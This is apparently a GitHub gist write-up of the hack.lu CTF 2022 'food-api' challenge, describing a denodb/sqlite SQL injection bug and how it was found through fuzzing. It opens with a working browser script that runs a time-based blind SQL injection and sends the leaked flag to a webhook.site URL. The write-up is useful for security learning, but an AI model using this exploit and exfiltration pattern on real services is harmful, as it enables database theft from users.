Skip to content

Instantly share code, notes, and snippets.

@parrot409
Created October 30, 2022 21:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save parrot409/f7f5807478f50376057fba755865bd98 to your computer and use it in GitHub Desktop.
Save parrot409/f7f5807478f50376057fba755865bd98 to your computer and use it in GitHub Desktop.
food-api hack.lu ctf 2022
```html
<script>
const target = 'https://0.0.0.0/api/food/555??=`in()*?;select%20/*--%20%27&b%20%271*/%271%27from%20flag%20where%20randomblob((CASE%20WHEN%20(SUBSTR((SELECT%20flag%20FROM%20flag),IDX,1)%3d%27CHR%27)%20THEN%205000000%20ELSE%201%20END))--=dfdf'
const alphabet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
var flag = ''
async function atk(){
let tbl = []
for(let i=0;i<alphabet.length;i++){
let prev = performance.now()
await fetch(target.replace('IDX',flag.length+1).replace('CHR',encodeURIComponent(alphabet[i])),{mode:'no-cors',credentials:'include'})
tbl.push(parseInt(performance.now()-prev))
}
flag += alphabet[tbl.indexOf(Math.max(...tbl))]
if(flag.length < 50){
console.log(flag)
atk()
}
}
atk()
setInterval(()=>{
fetch('https://webhook.site/6681d07f-ebf3-4189-94f8-fce6ded6fe19?flag='+encodeURIComponent(flag))
},5000)
</script>
```
# solved with help from @sapra
> download the chall.
> i need sqli.
> where vuln...
> it should be passing objects to `where()` but docs say it's safe to use
> 0day trick?
> it uses denodb.
> how does it escape stuff.. maybe put console.log in denodb to log the executed sql? maybe i can guess the vuln.
> app uses denodb. find where deno hold packages.
> can't find on google .
> `find / -name 'deno'.`
> weird packaging system. package filenames are random. find the correct file with grep.
> inject console.log(sql) in denodb.
```
select `id` as `id`, `name` as `name` from `food` where `id` = '1'
```
> column ids are inside backticks and values are inside quotes.
> both look safe. it escapes with double backticks-quotes.
> can't guess.
> take a quick look at denodb source code.
> spot a weird regexp.
```
const subqueries = query.split(/;(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/);
```
> "lmao they implemented stacked-queries with regexp".
> no backticks in regexp. solved?
> it works.
> with `/api/food/555?o;a=1`, `subqueries` is
```
[
"select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `o",
"a` = '1'"
]
```
> "oh shit it throws error when the first query is not a valid sql".
> try to find a way-around for ~30 mins.
> fail.
> "no way there is another bug. this should be it."
> fuzz the sql with the following code. maybe one of the chars did some magic and sql fixes.
```fuzz.py
import requests
for i in range(0xff):
requests.get('http://chall/api/food/20000?a'+chr(i)+';wow=333')
# look at the logs for syntax errors related to wow not the first column
```
> nothing related to "wow" but one the queries in logs is weird.
> wtf how's this happening.
```
[
"select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `a'333'",
"wow` = ?"
]
```
> question mark does some magic.
####
# fast forward to an hour later after reading some source-code and guessing.
# i can change where binding values are added.
# for example `/api/food/555?before?after=333` executes the following query.
# ```
# select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `before'333'after` = ?
# ```
####
> now i can make a valid sql but the problem is it's not a valid column name (since there are quotes around the injected value inside the column id) so it results in sqlite error.
> try to find a way-around for ~3-4 hours (with some breaks ofc).
> nothing. give up and sleep
> get up and turn on the pc after a regular morning
> trace the denodb and dex libraries line by line with `deno --inspect` and chrome.
fast forward to ~30 mins later
> nothing useful.
> decide to read sqlite3 source code to find out how it resolves the column names.
> compile sqlite3 with help of blogs to inject some `printf`s in the source code.
fast forward to ~1-2 hour later
> no progress. but i found some cool ideas to create sqlite ctf challs tho.
> hmmm noooooo idea.
> "maybe i should fuzz it"
> writing a good fuzzer will take a lot time
> "what about fuzzing it with afl?"
> write a program that crashes if there are no error and fuzz it?
```c
char sql[0x20000];
strcpy(sql,"CREATE TABLE test(id INT);INSERT INTO test (id) VALUES (1); SELECT * FROM test WHERE `'");
strcpy(sql+strlen(sql),buf);
strcpy(sql+strlen(sql),"'`;");
open_db(&data, 0);
rc = shell_exec(&data, sql, &zErrMsg);
if(!zErrMsg){
char *m = 1;
strcpy(m,"CRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOW");
}
exit(0);
```
> start fuzzing
> no hits after 30 mins
> give up but let it run in the background.
> crash after 1 hour. wow
> weird test case but it works.
> analyse test case
> queries with invalid column names don't fail in some cases when there is a ? in the query
```
# This query should run without error on any sqlite db
SELECT * FROM sqlite_master WHERE `BadColumnName`in()*?
```
> get sqli and leak flag with time-based sqli and measuring how long the request takes with `performance.now();fetch();performance.now()`;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment